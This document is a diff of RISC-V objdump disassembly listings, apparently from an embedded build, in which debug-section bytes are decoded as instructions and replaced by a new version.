-    11a2:	025b0113          	addi	sp,s6,37
-    11a6:	0078                	addi	a4,sp,12
-    11a8:	025c0113          	addi	sp,s8,37
-    11ac:	0086                	slli	ra,ra,0x1
-    11ae:	035d0113          	addi	sp,s10,53 # 1a035 <__stack_size+0x19835>
-    11b2:	a491                	j	13f6 <__stack_size+0xbf6>
-    11b4:	137f                	0x137f
-    11b6:	5e01                	li	t3,-32
-    11b8:	7fa89103          	lh	sp,2042(a7)
-    11bc:	0000                	unimp
-    11be:	0000                	unimp
-    11c0:	7208                	flw	fa0,32(a2)
-    11c2:	0000                	unimp
-    11c4:	aa00                	fsd	fs0,16(a2)
-    11c6:	0011                	c.nop	4
-    11c8:	0900                	addi	s0,sp,144
-    11ca:	00a0                	addi	s0,sp,72
-    11cc:	0000                	unimp
-    11ce:	ec080007          	0xec080007
-    11d2:	0000                	unimp
-    11d4:	ba00                	fsd	fs0,48(a2)
-    11d6:	0011                	c.nop	4
-    11d8:	0900                	addi	s0,sp,144
-    11da:	00a0                	addi	s0,sp,72
-    11dc:	0000                	unimp
-    11de:	ec080003          	lb	zero,-320(a6) # 37d27c <__stack_size+0x37ca7c>
-    11e2:	0000                	unimp
-    11e4:	ca00                	sw	s0,16(a2)
-    11e6:	0011                	c.nop	4
-    11e8:	0900                	addi	s0,sp,144
-    11ea:	00a0                	addi	s0,sp,72
-    11ec:	0000                	unimp
-    11ee:	0005                	c.nop	1
-    11f0:	0009df23          	0x9df23
-    11f4:	0100                	addi	s0,sp,128
-    11f6:	1e0406a7          	0x1e0406a7
-    11fa:	2040                	fld	fs0,128(s0)
-    11fc:	0268                	addi	a0,sp,268
-    11fe:	0000                	unimp
-    1200:	9c01                	0x9c01
-    1202:	173e                	slli	a4,a4,0x2f
-    1204:	0000                	unimp
-    1206:	ff25                	bnez	a4,117e <__stack_size+0x97e>
-    1208:	0049                	c.nop	18
-    120a:	0100                	addi	s0,sp,128
-    120c:	0caa                	slli	s9,s9,0xa
-    120e:	0000009b          	0x9b
-    1212:	0dcc240b          	0xdcc240b
-    1216:	0000                	unimp
-    1218:	ab01                	j	1728 <__stack_size+0xf28>
-    121a:	3e06                	fld	ft8,96(sp)
-    121c:	44000017          	auipc	zero,0x44000
-    1220:	24000007          	0x24000007
-    1224:	1580                	addi	s0,sp,736
-    1226:	0000                	unimp
-    1228:	ab01                	j	1738 <__stack_size+0xf38>
-    122a:	4f15                	li	t5,5
-    122c:	ca000017          	auipc	zero,0xca000
-    1230:	24000007          	0x24000007
-    1234:	9401                	srai	s0,s0,0x20
-    1236:	0000                	unimp
-    1238:	b901                	j	e48 <__stack_size+0x648>
-    123a:	3006                	fld	ft0,96(sp)
-    123c:	0000                	unimp
-    123e:	0500                	addi	s0,sp,640
-    1240:	0008                	0x8
-    1242:	2600                	fld	fs0,8(a2)
-    1244:	00727473          	csrrci	s0,0x7,4
-    1248:	bb01                	j	f58 <__stack_size+0x758>
-    124a:	000e2707          	flw	fa4,0(t3) # 0 <__stack_size-0x800>
-    124e:	0300                	addi	s0,sp,384
-    1250:	e891                	bnez	s1,1264 <__stack_size+0xa64>
-    1252:	247e                	fld	fs0,472(sp)
-    1254:	25f1                	jal	1920 <__stack_size+0x1120>
+    1128:	0116                	slli	sp,sp,0x5
+    112a:	025a                	slli	tp,tp,0x16
+    112c:	0088                	addi	a0,sp,64
+    112e:	1500                	addi	s0,sp,672
+    1130:	2282                	fld	ft5,0(sp)
+    1132:	2040                	fld	fs0,128(s0)
+    1134:	0d2a                	slli	s10,s10,0xa
+    1136:	0000                	unimp
+    1138:	04b5                	addi	s1,s1,13
+    113a:	0000                	unimp
+    113c:	0116                	slli	sp,sp,0x5
+    113e:	025a                	slli	tp,tp,0x16
+    1140:	0089                	addi	ra,ra,2
+    1142:	0116                	slli	sp,sp,0x5
+    1144:	bc91035b          	0xbc91035b
+    1148:	007f                	0x7f
+    114a:	40229617          	auipc	a2,0x40229
+    114e:	2a20                	fld	fs0,80(a2)
+    1150:	000d                	c.nop	3
+    1152:	1600                	addi	s0,sp,800
+    1154:	5a01                	li	s4,-32
+    1156:	8702                	jr	a4
+    1158:	0000                	unimp
+    115a:	1500                	addi	s0,sp,672
+    115c:	2228                	fld	fa0,64(a2)
+    115e:	2040                	fld	fs0,128(s0)
+    1160:	0d06                	slli	s10,s10,0x1
+    1162:	0000                	unimp
+    1164:	04e5                	addi	s1,s1,25
+    1166:	0000                	unimp
+    1168:	0116                	slli	sp,sp,0x5
+    116a:	035a                	slli	t1,t1,0x16
+    116c:	ac91                	j	13c0 <__stack_size+0xbc0>
+    116e:	167f                	0x167f
+    1170:	5b01                	li	s6,-32
+    1172:	3001                	jal	972 <__stack_size+0x172>
+    1174:	0116                	slli	sp,sp,0x5
+    1176:	015c                	addi	a5,sp,132
+    1178:	0040                	addi	s0,sp,4
+    117a:	40224017          	auipc	zero,0x40224
+    117e:	1e20                	addi	s0,sp,824
+    1180:	000d                	c.nop	3
+    1182:	1600                	addi	s0,sp,800
+    1184:	5a01                	li	s4,-32
+    1186:	7fac9103          	lh	sp,2042(s9)
+    118a:	0116                	slli	sp,sp,0x5
+    118c:	0078055b          	0x78055b
+    1190:	00220083          	lb	ra,2(tp) # 1b002 <__stack_size+0x1a802>
+    1194:	1500                	addi	s0,sp,672
+    1196:	2072                	fld	ft0,280(sp)
+    1198:	2040                	fld	fs0,128(s0)
+    119a:	0cd5                	addi	s9,s9,21
+    119c:	0000                	unimp
+    119e:	00000517          	auipc	a0,0x0
+    11a2:	0116                	slli	sp,sp,0x5
+    11a4:	055a                	slli	a0,a0,0x16
+    11a6:	40426403          	0x40426403
+    11aa:	0020                	addi	s0,sp,8
+    11ac:	9015                	srli	s0,s0,0x25
+    11ae:	4020                	lw	s0,64(s0)
+    11b0:	2a20                	fld	fs0,80(a2)
+    11b2:	000d                	c.nop	3
+    11b4:	2e00                	fld	fs0,24(a2)
+    11b6:	0005                	c.nop	1
+    11b8:	1600                	addi	s0,sp,800
+    11ba:	5a01                	li	s4,-32
+    11bc:	0305                	addi	t1,t1,1
+    11be:	42e4                	lw	s1,68(a3)
+    11c0:	2040                	fld	fs0,128(s0)
+    11c2:	1500                	addi	s0,sp,672
+    11c4:	2096                	fld	ft1,320(sp)
+    11c6:	2040                	fld	fs0,128(s0)
+    11c8:	0d12                	slli	s10,s10,0x4
+    11ca:	0000                	unimp
+    11cc:	0548                	addi	a0,sp,644
+    11ce:	0000                	unimp
+    11d0:	0116                	slli	sp,sp,0x5
+    11d2:	025a                	slli	tp,tp,0x16
+    11d4:	0079                	c.nop	30
+    11d6:	0116                	slli	sp,sp,0x5
+    11d8:	0086025b          	0x86025b
+    11dc:	1500                	addi	s0,sp,672
+    11de:	20a2                	fld	ft1,8(sp)
+    11e0:	2040                	fld	fs0,128(s0)
+    11e2:	0d2a                	slli	s10,s10,0xa
+    11e4:	0000                	unimp
+    11e6:	055f 0000 0116      	0x1160000055f
+    11ec:	055a                	slli	a0,a0,0x16
+    11ee:	40430403          	lb	s0,1028(t1) # fffe5404 <_heap_end+0x7ffd6c04>
+    11f2:	0020                	addi	s0,sp,8
+    11f4:	40215617          	auipc	a2,0x40215
+    11f8:	2a20                	fld	fs0,80(a2)
+    11fa:	000d                	c.nop	3
+    11fc:	1600                	addi	s0,sp,800
+    11fe:	5a01                	li	s4,-32
+    1200:	0305                	addi	t1,t1,1
+    1202:	440c                	lw	a1,8(s0)
+    1204:	2040                	fld	fs0,128(s0)
+    1206:	0000                	unimp
+    1208:	0406                	slli	s0,s0,0x1
+    120a:	000000b7          	lui	ra,0x0
+    120e:	9e1a                	add	t3,t3,t1
+    1210:	0000                	unimp
+    1212:	8900                	0x8900
+    1214:	0005                	c.nop	1
+    1216:	1b00                	addi	s0,sp,432
+    1218:	0091                	addi	ra,ra,4
+    121a:	0000                	unimp
+    121c:	0000                	unimp
+    121e:	9e1a                	add	t3,t3,t1
+    1220:	0000                	unimp
+    1222:	9900                	0x9900
+    1224:	0005                	c.nop	1
+    1226:	1b00                	addi	s0,sp,432
+    1228:	0091                	addi	ra,ra,4
+    122a:	0000                	unimp
+    122c:	9e1a000f          	0x9e1a000f
+    1230:	0000                	unimp
+    1232:	a900                	fsd	fs0,16(a0)
+    1234:	0005                	c.nop	1
+    1236:	1b00                	addi	s0,sp,432
+    1238:	0091                	addi	ra,ra,4
+    123a:	0000                	unimp
+    123c:	0010                	0x10
+    123e:	120d                	addi	tp,tp,-29
+    1240:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    1244:	157a                	slli	a0,a0,0x3e
+    1246:	00000573          	0x573
+	...
+    1252:	9c01                	0x9c01
+    1254:	06b1                	addi	a3,a3,12
     1256:	0000                	unimp
-    1258:	bb01                	j	f68 <__stack_size+0x768>
-    125a:	9b3a                	add	s6,s6,a4
-    125c:	0000                	unimp
-    125e:	1800                	addi	s0,sp,48
-    1260:	0008                	0x8
-    1262:	2700                	fld	fs0,8(a4)
-    1264:	696d                	lui	s2,0x1b
-    1266:	006e                	c.slli	zero,0x1b
-    1268:	c401                	beqz	s0,1270 <__stack_size+0xa70>
-    126a:	3009                	jal	a6c <__stack_size+0x26c>
-    126c:	0000                	unimp
-    126e:	2b00                	fld	fs0,16(a4)
-    1270:	0008                	0x8
-    1272:	2700                	fld	fs0,8(a4)
-    1274:	656d                	lui	a0,0x1b
-    1276:	0064                	addi	s1,sp,12
-    1278:	c401                	beqz	s0,1280 <__stack_size+0xa80>
-    127a:	301a                	fld	ft0,416(sp)
-    127c:	0000                	unimp
-    127e:	4a00                	lw	s0,16(a2)
-    1280:	0008                	0x8
-    1282:	2700                	fld	fs0,8(a4)
-    1284:	616d                	addi	sp,sp,240
-    1286:	0078                	addi	a4,sp,12
-    1288:	c401                	beqz	s0,1290 <__stack_size+0xa90>
-    128a:	3031                	jal	a96 <__stack_size+0x296>
+    1258:	00a36e0f          	0xa36e0f
+    125c:	0100                	addi	s0,sp,128
+    125e:	307a                	fld	ft0,440(sp)
+    1260:	0045                	c.nop	17
+    1262:	0000                	unimp
+    1264:	000005db          	0x5db
+    1268:	f319                	bnez	a4,116e <__stack_size+0x96e>
+    126a:	00a2                	slli	ra,ra,0x8
+    126c:	0100                	addi	s0,sp,128
+    126e:	077c                	addi	a5,sp,908
+    1270:	0589                	addi	a1,a1,2
+    1272:	0000                	unimp
+    1274:	9102                	jalr	sp
+    1276:	1260                	addi	s0,sp,300
+	...
+    1280:	0631                	addi	a2,a2,12
+    1282:	0000                	unimp
+    1284:	6114                	flw	fa3,0(a0)
+    1286:	0030                	addi	a2,sp,8
+    1288:	7e01                	lui	t3,0xfffe0
+    128a:	6b06                	flw	fs6,64(sp)
     128c:	0000                	unimp
-    128e:	6a00                	flw	fs0,16(a2)
-    1290:	0008                	0x8
-    1292:	2400                	fld	fs0,8(s0)
-    1294:	0000209b          	0x209b
-    1298:	cb01                	beqz	a4,12a8 <__stack_size+0xaa8>
-    129a:	a711                	j	199e <__stack_size+0x119e>
-    129c:	0000                	unimp
-    129e:	8900                	0x8900
-    12a0:	0008                	0x8
-    12a2:	2400                	fld	fs0,8(s0)
-    12a4:	0afc                	addi	a5,sp,348
+    128e:	0100                	addi	s0,sp,128
+    1290:	145a                	slli	s0,s0,0x36
+    1292:	3261                	jal	c1a <__stack_size+0x41a>
+    1294:	0100                	addi	s0,sp,128
+    1296:	067e                	slli	a2,a2,0x1f
+    1298:	0000006b          	0x6b
+    129c:	5c01                	li	s8,-32
+    129e:	6114                	flw	fa3,0(a0)
+    12a0:	7e010033          	0x7e010033
+    12a4:	6b06                	flw	fs6,64(sp)
     12a6:	0000                	unimp
-    12a8:	cc01                	beqz	s0,12c0 <__stack_size+0xac0>
-    12aa:	a711                	j	19ae <__stack_size+0x11ae>
-    12ac:	0000                	unimp
-    12ae:	b300                	fsd	fs0,32(a4)
-    12b0:	0008                	0x8
-    12b2:	2400                	fld	fs0,8(s0)
-    12b4:	75ae                	flw	fa1,232(sp)
-    12b6:	0000                	unimp
-    12b8:	cd01                	beqz	a0,12d0 <__stack_size+0xad0>
-    12ba:	a711                	j	19be <__stack_size+0x11be>
-    12bc:	0000                	unimp
-    12be:	f300                	fsw	fs0,32(a4)
-    12c0:	0008                	0x8
-    12c2:	2400                	fld	fs0,8(s0)
-    12c4:	620d                	lui	tp,0x3
-    12c6:	0000                	unimp
-    12c8:	ce01                	beqz	a2,12e0 <__stack_size+0xae0>
-    12ca:	a711                	j	19ce <__stack_size+0x11ce>
+    12a8:	0100                	addi	s0,sp,128
+    12aa:	145d                	addi	s0,s0,-9
+    12ac:	3461                	jal	d34 <__stack_size+0x534>
+    12ae:	0100                	addi	s0,sp,128
+    12b0:	067e                	slli	a2,a2,0x1f
+    12b2:	0000006b          	0x6b
+    12b6:	5e01                	li	t3,-32
+    12b8:	6114                	flw	fa3,0(a0)
+    12ba:	0035                	c.nop	13
+    12bc:	7e01                	lui	t3,0xfffe0
+    12be:	6b06                	flw	fs6,64(sp)
+    12c0:	0000                	unimp
+    12c2:	0100                	addi	s0,sp,128
+    12c4:	005f 0012 0000      	0x12005f
+    12ca:	0000                	unimp
     12cc:	0000                	unimp
-    12ce:	0c00                	addi	s0,sp,528
-    12d0:	0009                	c.nop	2
-    12d2:	2400                	fld	fs0,8(s0)
-    12d4:	209f 0000 cf01      	0xcf010000209f
-    12da:	7916                	flw	fs2,100(sp)
-    12dc:	0000                	unimp
-    12de:	3d00                	fld	fs0,56(a0)
-    12e0:	0009                	c.nop	2
-    12e2:	2400                	fld	fs0,8(s0)
-    12e4:	0b00                	addi	s0,sp,400
-    12e6:	0000                	unimp
-    12e8:	d001                	beqz	s0,11e8 <__stack_size+0x9e8>
-    12ea:	7916                	flw	fs2,100(sp)
-    12ec:	0000                	unimp
-    12ee:	5b00                	lw	s0,48(a4)
-    12f0:	0009                	c.nop	2
-    12f2:	2400                	fld	fs0,8(s0)
-    12f4:	75b2                	flw	fa1,44(sp)
-    12f6:	0000                	unimp
-    12f8:	d101                	beqz	a0,11f8 <__stack_size+0x9f8>
-    12fa:	7916                	flw	fs2,100(sp)
-    12fc:	0000                	unimp
-    12fe:	8600                	0x8600
-    1300:	0009                	c.nop	2
-    1302:	2400                	fld	fs0,8(s0)
-    1304:	6211                	lui	tp,0x4
-    1306:	0000                	unimp
-    1308:	d201                	beqz	a2,1208 <__stack_size+0xa08>
-    130a:	7916                	flw	fs2,100(sp)
-    130c:	0000                	unimp
-    130e:	a400                	fsd	fs0,8(s0)
-    1310:	0009                	c.nop	2
-    1312:	1a00                	addi	s0,sp,304
-    1314:	0068                	addi	a0,sp,12
+    12ce:	6200                	flw	fs0,0(a2)
+    12d0:	0006                	c.slli	zero,0x1
+    12d2:	1400                	addi	s0,sp,544
+    12d4:	6d7a                	flw	fs10,156(sp)
+    12d6:	0100                	addi	s0,sp,128
+    12d8:	1880                	addi	s0,sp,112
+    12da:	00000573          	0x573
+    12de:	5a01                	li	s4,-32
+    12e0:	00000017          	auipc	zero,0x0
+    12e4:	4400                	lw	s0,8(s0)
+    12e6:	0009                	c.nop	2
+    12e8:	1600                	addi	s0,sp,800
+    12ea:	5a01                	li	s4,-32
+    12ec:	7802                	flw	fa6,32(sp)
+    12ee:	1600                	addi	s0,sp,800
+    12f0:	5b01                	li	s6,-32
+    12f2:	7202                	flw	ft4,32(sp)
+    12f4:	0000                	unimp
+    12f6:	1500                	addi	s0,sp,672
+    12f8:	0000                	unimp
+    12fa:	0000                	unimp
+    12fc:	0d06                	slli	s10,s10,0x1
+    12fe:	0000                	unimp
+    1300:	0680                	addi	s0,sp,832
+    1302:	0000                	unimp
+    1304:	0116                	slli	sp,sp,0x5
+    1306:	025a                	slli	tp,tp,0x16
+    1308:	0072                	c.slli	zero,0x1c
+    130a:	0116                	slli	sp,sp,0x5
+    130c:	1630015b          	0x1630015b
+    1310:	5c01                	li	s8,-32
+    1312:	4001                	c.li	zero,0
+    1314:	1500                	addi	s0,sp,672
     1316:	0000                	unimp
-    1318:	000013a7          	0x13a7
-    131c:	01006927          	0x1006927
-    1320:	0bad                	addi	s7,s7,11
-    1322:	0030                	addi	a2,sp,8
-    1324:	0000                	unimp
-    1326:	09c2                	slli	s3,s3,0x10
-    1328:	0000                	unimp
-    132a:	8019                	srli	s0,s0,0x6
-    132c:	0000                	unimp
-    132e:	2700                	fld	fs0,8(a4)
-    1330:	3149                	jal	fb2 <__stack_size+0x7b2>
-    1332:	0100                	addi	s0,sp,128
-    1334:	007917af          	0x7917af
-    1338:	0000                	unimp
-    133a:	09d6                	slli	s3,s3,0x15
-    133c:	0000                	unimp
-    133e:	00314327          	fsq	ft3,6(sp)
-    1342:	b001                	j	b42 <__stack_size+0x342>
-    1344:	00007917          	auipc	s2,0x7
-    1348:	f400                	fsw	fs0,40(s0)
-    134a:	0009                	c.nop	2
-    134c:	2700                	fld	fs0,8(a4)
-    134e:	3249                	jal	cd0 <__stack_size+0x4d0>
-    1350:	0100                	addi	s0,sp,128
-    1352:	17b2                	slli	a5,a5,0x2c
-    1354:	0079                	c.nop	30
-    1356:	0000                	unimp
-    1358:	0a12                	slli	s4,s4,0x4
-    135a:	0000                	unimp
-    135c:	00324327          	fsq	ft3,6(tp) # 4006 <__stack_size+0x3806>
-    1360:	b301                	j	1060 <__stack_size+0x860>
-    1362:	00007917          	auipc	s2,0x7
-    1366:	3000                	fld	fs0,32(s0)
-    1368:	000a                	c.slli	zero,0x2
-    136a:	1a00                	addi	s0,sp,304
-    136c:	0098                	addi	a4,sp,64
+    1318:	0000                	unimp
+    131a:	0cd5                	addi	s9,s9,21
+    131c:	0000                	unimp
+    131e:	00000697          	auipc	a3,0x0
+    1322:	0116                	slli	sp,sp,0x5
+    1324:	055a                	slli	a0,a0,0x16
+    1326:	40426403          	0x40426403
+    132a:	0020                	addi	s0,sp,8
+    132c:	00000017          	auipc	zero,0x0
+    1330:	3600                	fld	fs0,40(a2)
+    1332:	000d                	c.nop	3
+    1334:	1600                	addi	s0,sp,800
+    1336:	5a01                	li	s4,-32
+    1338:	0305                	addi	t1,t1,1
+    133a:	4264                	lw	s1,68(a2)
+    133c:	2040                	fld	fs0,128(s0)
+    133e:	0116                	slli	sp,sp,0x5
+    1340:	0072025b          	0x72025b
+    1344:	0000                	unimp
+    1346:	ff0d                	bnez	a4,1280 <__stack_size+0xa80>
+    1348:	0036                	c.slli	zero,0xd
+    134a:	0100                	addi	s0,sp,128
+    134c:	1552                	slli	a0,a0,0x34
+    134e:	00000573          	0x573
+    1352:	1f10                	addi	a2,sp,944
+    1354:	2040                	fld	fs0,128(s0)
+    1356:	0136                	slli	sp,sp,0xd
+    1358:	0000                	unimp
+    135a:	9c01                	0x9c01
+    135c:	091e                	slli	s2,s2,0x7
+    135e:	0000                	unimp
+    1360:	00a36e0f          	0xa36e0f
+    1364:	0100                	addi	s0,sp,128
+    1366:	4052                	0x4052
+    1368:	0045                	c.nop	17
+    136a:	0000                	unimp
+    136c:	05fc                	addi	a5,sp,716
     136e:	0000                	unimp
-    1370:	135c                	addi	a5,sp,420
-    1372:	0000                	unimp
-    1374:	6126                	flw	ft2,72(sp)
-    1376:	0030                	addi	a2,sp,8
-    1378:	af01                	j	1a88 <__stack_size+0x1288>
-    137a:	721c                	flw	fa5,32(a2)
-    137c:	0000                	unimp
-    137e:	0100                	addi	s0,sp,128
-    1380:	005a                	c.slli	zero,0x16
-    1382:	b01a                	fsd	ft6,32(sp)
-    1384:	0000                	unimp
-    1386:	7300                	flw	fs0,32(a4)
-    1388:	26000013          	li	zero,608
-    138c:	3061                	jal	c14 <__stack_size+0x414>
-    138e:	0100                	addi	s0,sp,128
-    1390:	1cb0                	addi	a2,sp,632
-    1392:	0072                	c.slli	zero,0x1c
-    1394:	0000                	unimp
-    1396:	5a01                	li	s4,-32
-    1398:	1000                	addi	s0,sp,32
-    139a:	1e40                	addi	s0,sp,820
-    139c:	2040                	fld	fs0,128(s0)
-    139e:	000a                	c.slli	zero,0x2
-    13a0:	0000                	unimp
-    13a2:	138e                	slli	t2,t2,0x23
+    1370:	00379d0f          	0x379d0f
+    1374:	0100                	addi	s0,sp,128
+    1376:	5752                	lw	a4,52(sp)
+    1378:	0098                	addi	a4,sp,64
+    137a:	0000                	unimp
+    137c:	061d                	addi	a2,a2,7
+    137e:	0000                	unimp
+    1380:	f319                	bnez	a4,1286 <__stack_size+0xa86>
+    1382:	00a2                	slli	ra,ra,0x8
+    1384:	0100                	addi	s0,sp,128
+    1386:	05890853          	0x5890853
+    138a:	0000                	unimp
+    138c:	9102                	jalr	sp
+    138e:	1450                	addi	a2,sp,548
+    1390:	00727473          	csrrci	s0,0x7,4
+    1394:	5401                	li	s0,-32
+    1396:	00091e0f          	0x91e0f
+    139a:	0500                	addi	s0,sp,640
+    139c:	00d8d403          	lhu	s0,13(a7)
+    13a0:	1980                	addi	s0,sp,240
+    13a2:	a325                	j	18ca <__stack_size+0x10ca>
     13a4:	0000                	unimp
-    13a6:	6126                	flw	ft2,72(sp)
-    13a8:	0030                	addi	a2,sp,8
-    13aa:	b201                	j	caa <__stack_size+0x4aa>
-    13ac:	721c                	flw	fa5,32(a2)
-    13ae:	0000                	unimp
-    13b0:	0100                	addi	s0,sp,128
-    13b2:	005a                	c.slli	zero,0x16
-    13b4:	4a1f 401e 0820      	0x820401e4a1f
+    13a6:	5501                	li	a0,-32
+    13a8:	3410                	fld	fa2,40(s0)
+    13aa:	0009                	c.nop	2
+    13ac:	0500                	addi	s0,sp,640
+    13ae:	00d86803          	0xd86803
+    13b2:	1280                	addi	s0,sp,352
+    13b4:	1f2c                	addi	a1,sp,952
+    13b6:	2040                	fld	fs0,128(s0)
+    13b8:	0010                	0x10
     13ba:	0000                	unimp
-    13bc:	2600                	fld	fs0,8(a2)
-    13be:	3061                	jal	c46 <__stack_size+0x446>
-    13c0:	0100                	addi	s0,sp,128
-    13c2:	00721cb3          	sll	s9,tp,t2
-    13c6:	0000                	unimp
-    13c8:	5a01                	li	s4,-32
-    13ca:	0000                	unimp
-    13cc:	1000                	addi	s0,sp,32
-    13ce:	1e6c                	addi	a1,sp,828
-    13d0:	2040                	fld	fs0,128(s0)
-    13d2:	000e                	c.slli	zero,0x3
-    13d4:	0000                	unimp
-    13d6:	000013bf 01006928 	0x1006928000013bf
-    13de:	0bba                	slli	s7,s7,0xe
-    13e0:	0030                	addi	a2,sp,8
-    13e2:	0000                	unimp
-    13e4:	1a00                	addi	s0,sp,304
-    13e6:	00c8                	addi	a0,sp,68
-    13e8:	0000                	unimp
-    13ea:	13f9                	addi	t2,t2,-2
-    13ec:	0000                	unimp
-    13ee:	01006927          	0x1006927
-    13f2:	0bbd                	addi	s7,s7,15
-    13f4:	0030                	addi	a2,sp,8
-    13f6:	0000                	unimp
-    13f8:	00000a43          	fmadd.s	fs4,ft0,ft0,ft0,rne
-    13fc:	401ec01b          	0x401ec01b
-    1400:	0820                	addi	s0,sp,24
-    1402:	001d                	c.nop	7
-    1404:	1300                	addi	s0,sp,416
-    1406:	5a01                	li	s4,-32
-    1408:	8502                	jr	a0
-    140a:	1300                	addi	s0,sp,416
-    140c:	5b01                	li	s6,-32
-    140e:	7902                	flw	fs2,32(sp)
-    1410:	1300                	addi	s0,sp,416
-    1412:	5d01                	li	s10,-32
-    1414:	7902                	flw	fs2,32(sp)
-    1416:	1300                	addi	s0,sp,416
-    1418:	5f01                	li	t5,-32
-    141a:	7902                	flw	fs2,32(sp)
+    13bc:	076d                	addi	a4,a4,27
+    13be:	0000                	unimp
+    13c0:	6114                	flw	fa3,0(a0)
+    13c2:	0030                	addi	a2,sp,8
+    13c4:	5701                	li	a4,-32
+    13c6:	00006b07          	0x6b07
+    13ca:	0100                	addi	s0,sp,128
+    13cc:	145a                	slli	s0,s0,0x36
+    13ce:	3261                	jal	d56 <__stack_size+0x556>
+    13d0:	0100                	addi	s0,sp,128
+    13d2:	006b0757          	0x6b0757
+    13d6:	0000                	unimp
+    13d8:	5c01                	li	s8,-32
+    13da:	6114                	flw	fa3,0(a0)
+    13dc:	57010033          	0x57010033
+    13e0:	00006b07          	0x6b07
+    13e4:	0100                	addi	s0,sp,128
+    13e6:	145d                	addi	s0,s0,-9
+    13e8:	3461                	jal	e70 <__stack_size+0x670>
+    13ea:	0100                	addi	s0,sp,128
+    13ec:	006b0757          	0x6b0757
+    13f0:	0000                	unimp
+    13f2:	5e01                	li	t3,-32
+    13f4:	6114                	flw	fa3,0(a0)
+    13f6:	0035                	c.nop	13
+    13f8:	5701                	li	a4,-32
+    13fa:	00006b07          	0x6b07
+    13fe:	0100                	addi	s0,sp,128
+    1400:	005f 6012 401f      	0x401f6012005f
+    1406:	3220                	fld	fs0,96(a2)
+    1408:	0000                	unimp
+    140a:	eb00                	fsw	fs0,16(a4)
+    140c:	10000007          	0x10000007
+    1410:	6d7a                	flw	fs10,156(sp)
+    1412:	0100                	addi	s0,sp,128
+    1414:	1959                	addi	s2,s2,-10
+    1416:	00000573          	0x573
+    141a:	0654                	addi	a3,sp,772
     141c:	0000                	unimp
-    141e:	1000                	addi	s0,sp,32
-    1420:	1f36                	slli	t5,t5,0x2d
-    1422:	2040                	fld	fs0,128(s0)
-    1424:	000c                	0xc
-    1426:	0000                	unimp
-    1428:	1414                	addi	a3,sp,544
-    142a:	0000                	unimp
-    142c:	6126                	flw	ft2,72(sp)
-    142e:	0030                	addi	a2,sp,8
-    1430:	cb01                	beqz	a4,1440 <__stack_size+0xc40>
-    1432:	722c                	flw	fa1,96(a2)
-    1434:	0000                	unimp
-    1436:	0100                	addi	s0,sp,128
-    1438:	005a                	c.slli	zero,0x16
-    143a:	e01a                	fsw	ft6,0(sp)
+    141e:	6c15                	lui	s8,0x5
+    1420:	401f d520 000c      	0xcd520401f
+    1426:	a000                	fsd	fs0,0(s0)
+    1428:	16000007          	0x16000007
+    142c:	5a01                	li	s4,-32
+    142e:	0305                	addi	t1,t1,1
+    1430:	4264                	lw	s1,68(a2)
+    1432:	2040                	fld	fs0,128(s0)
+    1434:	1500                	addi	s0,sp,672
+    1436:	1f80                	addi	s0,sp,1008
+    1438:	2040                	fld	fs0,128(s0)
+    143a:	0d2a                	slli	s10,s10,0xa
     143c:	0000                	unimp
-    143e:	2b00                	fld	fs0,16(a4)
-    1440:	0014                	0x14
-    1442:	2600                	fld	fs0,8(a2)
-    1444:	3061                	jal	ccc <__stack_size+0x4cc>
-    1446:	0100                	addi	s0,sp,128
-    1448:	2ccc                	fld	fa1,152(s1)
-    144a:	0072                	c.slli	zero,0x1c
-    144c:	0000                	unimp
-    144e:	5a01                	li	s4,-32
-    1450:	1a00                	addi	s0,sp,304
-    1452:	00f8                	addi	a4,sp,76
-    1454:	0000                	unimp
-    1456:	1442                	slli	s0,s0,0x30
-    1458:	0000                	unimp
-    145a:	6126                	flw	ft2,72(sp)
-    145c:	0030                	addi	a2,sp,8
-    145e:	cd01                	beqz	a0,1476 <__stack_size+0xc76>
-    1460:	722c                	flw	fa1,96(a2)
-    1462:	0000                	unimp
-    1464:	0100                	addi	s0,sp,128
-    1466:	005a                	c.slli	zero,0x16
-    1468:	5810                	lw	a2,48(s0)
-    146a:	401f 0a20 0000      	0xa20401f
-    1470:	5d00                	lw	s0,56(a0)
-    1472:	0014                	0x14
-    1474:	2600                	fld	fs0,8(a2)
-    1476:	3061                	jal	cfe <__stack_size+0x4fe>
-    1478:	0100                	addi	s0,sp,128
-    147a:	2cce                	fld	fs9,208(sp)
-    147c:	0072                	c.slli	zero,0x1c
+    143e:	07bd                	addi	a5,a5,15
+    1440:	0000                	unimp
+    1442:	0116                	slli	sp,sp,0x5
+    1444:	055a                	slli	a0,a0,0x16
+    1446:	40429c03          	lh	s8,1028(t0)
+    144a:	1620                	addi	s0,sp,808
+    144c:	5b01                	li	s6,-32
+    144e:	7202                	flw	ft4,32(sp)
+    1450:	0000                	unimp
+    1452:	8615                	srai	a2,a2,0x5
+    1454:	401f 4420 0009      	0x94420401f
+    145a:	d700                	sw	s0,40(a4)
+    145c:	16000007          	0x16000007
+    1460:	5a01                	li	s4,-32
+    1462:	7802                	flw	fa6,32(sp)
+    1464:	1600                	addi	s0,sp,800
+    1466:	5b01                	li	s6,-32
+    1468:	7202                	flw	ft4,32(sp)
+    146a:	0000                	unimp
+    146c:	401f9217          	auipc	tp,0x401f9
+    1470:	2a20                	fld	fs0,80(a2)
+    1472:	000d                	c.nop	3
+    1474:	1600                	addi	s0,sp,800
+    1476:	5a01                	li	s4,-32
+    1478:	0305                	addi	t1,t1,1
+    147a:	42c0                	lw	s0,4(a3)
+    147c:	2040                	fld	fs0,128(s0)
     147e:	0000                	unimp
-    1480:	5a01                	li	s4,-32
-    1482:	1000                	addi	s0,sp,32
-    1484:	1f62                	slli	t5,t5,0x38
-    1486:	2040                	fld	fs0,128(s0)
-    1488:	000c                	0xc
-    148a:	0000                	unimp
-    148c:	1478                	addi	a4,sp,556
-    148e:	0000                	unimp
-    1490:	6126                	flw	ft2,72(sp)
-    1492:	0030                	addi	a2,sp,8
-    1494:	cf01                	beqz	a4,14ac <__stack_size+0xcac>
-    1496:	7222                	flw	ft4,40(sp)
-    1498:	0000                	unimp
-    149a:	0100                	addi	s0,sp,128
-    149c:	005a                	c.slli	zero,0x16
-    149e:	6e10                	flw	fa2,24(a2)
-    14a0:	401f 0c20 0000      	0xc20401f
-    14a6:	9300                	0x9300
-    14a8:	0014                	0x14
-    14aa:	2600                	fld	fs0,8(a2)
-    14ac:	3061                	jal	d34 <__stack_size+0x534>
-    14ae:	0100                	addi	s0,sp,128
-    14b0:	22d0                	fld	fa2,128(a3)
-    14b2:	0072                	c.slli	zero,0x1c
-    14b4:	0000                	unimp
